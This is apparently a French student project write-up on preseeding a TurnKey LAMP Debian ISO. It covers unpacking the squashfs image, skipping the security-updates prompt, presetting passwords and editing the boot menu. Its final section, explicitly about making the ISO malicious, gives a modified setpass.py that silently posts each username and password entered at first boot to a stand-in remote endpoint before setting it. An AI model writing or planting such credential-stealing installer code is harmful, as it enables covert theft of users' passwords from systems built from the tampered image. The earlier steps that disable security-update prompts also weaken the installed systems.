---
# System prepended metadata

title: SAE 2 - Installation d’une machine virtuelle avec preseeding

---

https://hackmd.io/@7_FLlnotTGG17PsfcB68YA/Syd6e0MZ6/edit
# SAE 1.03 - Installation d'une machine virtuelle avec preseeding

Groupe :  
PELLET Casimir  
FROMENTIN Félix  
MEHMED Ersan  

---
## But du SAE :

- Preseed une installation linux, en particulier turnkey LAMP, qui est basée sur du Debian.
- But : supprimer la demande d'installation de sécurité

---

## Définition 
Une machine virtuelle est un environnement virtuel qui fonctionne comme un pc virtuel, avec sa propre ram, cpu, espace, connectivité pré choisi.

Les machines virtuelles sont permises grâce à un hyperviseur, il est connu pour exécuter une ou plusieurs machines virtuelles. Mais il est principalement connu pour être un moniteur de machine virtuelle (VMM).

L'hyperviseur crée et exécute des machines en isolant l'hyperviseur du système d'exploitation des ressources des machines virtuelles.
Il existe 2 type d'hyperviseur, principalement :

- Type-1 : est considéré comme "bare-metal hypervisor", qui s'exécute directement sur la machine physique, donc les ressources de la VM sont directement demandés au hardware. (comme KVM sous linux ou Hyper-V)

- Type-2 : lui est considéré comme "hyperviseur hébergé", qui s'installe sur le système d'exploitation comme VirtualBox ou VMWare

Le **preseeding** consiste à modifier l'installation de base d'une machine linux, en répondant automatiquement aux questions pour éviter à les faire.


Turnkey LAMP est un système d'exploitation embarqué qui utilise squashfs comme compression des fichiers systèmes, c'est d'ailleurs pour cette raison que le disque, l'iso, est petite en taille.


## Les étapes du preseed 
##### À cette étape l'installation de la VM est déjà mise au point et la configuration réseaux faite, toutes les instructions sont à effectuer à l'intérieur de la VM, mais si vous êtes déjà sous Linux, ça marche aussi. 

#### 1. Installer les outils "squashfs-tools" : 
```console
apt-get update
apt-get install -y squashfs-tools
apt-get install -y genisoimage 
```
#### 2. Télécharger l'iso turnkey LAMP sur la machine.
```console!
wget http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-lamp-17.1-bullseye-amd64.iso
```

#### 3. Monter le disque iso
```console
mv turnkey-lamp-17.1-bullseye-amd64.iso turnkey_ori.iso
mkdir /mnt/preseed
mount -o loop "/root/turnkey_ori.iso" /mnt/preseed
```

#### 4. Copier le contenu sur un nouveau dossier et demonte
```console
cp -r /mnt/preseed "/root/uwu"
umount /mnt/preseed
```

#### 5. Décompresser les fichier système de l'iso
```console
cd /root/uwu/live
unsquashfs 10root.squashfs
cd squashfs-root
```

#### 6. 3 Possibilité de supprimer la demande de sécurité
 1. ```console
    echo "export SEC_UPDATES=SKIP" > etc/inithooks.conf
    ```
 2. modifier le script python dans ```usr/lib/inithooks/bin/secupdates-ask.py```
 3. supprimer ou modifier le fichier shell dans ```usr/lib/inithooks/firstboot.d/95secupdates``` en quittant directement "exit 0"

#### 7. Supprimer les fichiers système originaux et recompresser 
```console
cd /root/uwu/live
rm 10root.squashfs
mksquashfs squashfs-root/ 10root.squashfs
```

#### 8. Fin du preseed, génération de l'iso.
```console!
rm -r squashfs-root // supprimer le dossier sinon augmente la taille
cd /root/uwu/
genisoimage -o /root/preseeded_turnkey.iso -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -J -r .
```

#### 9. Téléchargement du nouveau iso
##### Récupérer l’ip de la vm, mettez le sur navigateur -> Webmin -> File manager -> Télécharger l’iso

---
## Pour aller plus loin

##### Maintenant que nous savons comment preseed une installation turnkey, un tas de possibilité s'ouvre à nous, voici une liste d'exemple: 

#### 1. Sauter complètement sauter la configuration avec "inithooks.conf", un exemple :
```console
export ROOT_PASS=AZERTYUIOP!
export DB_PASS=AZERTYUIOP!
export APP_PASS=AZERTYUIOP!
export APP_EMAIL=email@example.com
export APP_DOMAIN=SKIP
export HUB_APIKEY=SKIP
export SEC_ALERTS=SKIP
export SEC_UPDATES=SKIP
```
#### 2. Modifier le menu du boot dans le fichier "isolinux/menu.cfg"
```sh
default install_eeee
label install_eeee
    menu label Installer sur disque
    kernel /live/vmlinuz
    append boot=live initrd=/live/initrd.gz root=/dev/ram rw showmounts di-live --
label localboot
    menu label Démarrer sur l'installation
    com32 chain.c32
    append hd0
```
#### 3. Modifier le logo du démarrage
---
##### Ce logo est stocké dans "isolinux/bootlogo", il faut utiliser gfxboot pour extraire la compression.
```console
gfxboot -a bootlogo --expand-archive [dossier]
```
##### Avec les fichiers extrait, on peut en utiliser quelques-uns comme par exemple le fond, mais ce changement est plus compliqué à faire, vu qu'il faut compiler les outils nécessaires disponibles sur : https://github.com/openSUSE/gfxboot

#### 4. Rendre l'iso **malveillant**
---
##### En envoyant les mots de passe lors de leur saisie vers un lien perso, en modifiant le script python vu précedemment.

--- setpass.py fonction main modifié
```python!

req_url = "example.com/api/turnkey_logger"

def main():
    signal.signal(signal.SIGINT, signal.SIG_GM)
    try:
        opts, args = getopt.gnu_getopt(sys.argv[1:], "hp:",["help","pass="])
    except getopt.GetoptError as e:
        usage(e)
    
    if len(args) != 1:
        usage()
    
    username = args[0]
    password = ""
    for opt, val in opts:
        if opt in ('-h', '--help'):
            usage()
        elif opt in ('-p', '--pass'):
            password = val
    if not password:
        from libinithooks.dialog_wrapper import Dialog
        d = Dialog("[uwu] TurnKey GNU/Linux - First boot configuration")
        password = d.get_password(
            "%s Password" % username.capitalize(),
            "Please enter new password for the %s account."%username)
    command = ["chpasswd"]
    input = ":".join([username, password])
    
    try:
        requests.post(req_url, json={
            "payload":input
        }) 
    except requests.exceptions.RequestException as e:
        pass
    
    
    p = subprocess.Popen(command, stdin=PIPE, shell=False)
    p.stdin.write(input.encode(sys.stdin.encoding))
    p.stdin.close()
    err = p.wait()
    if err:
        fatal(err)
    
       
```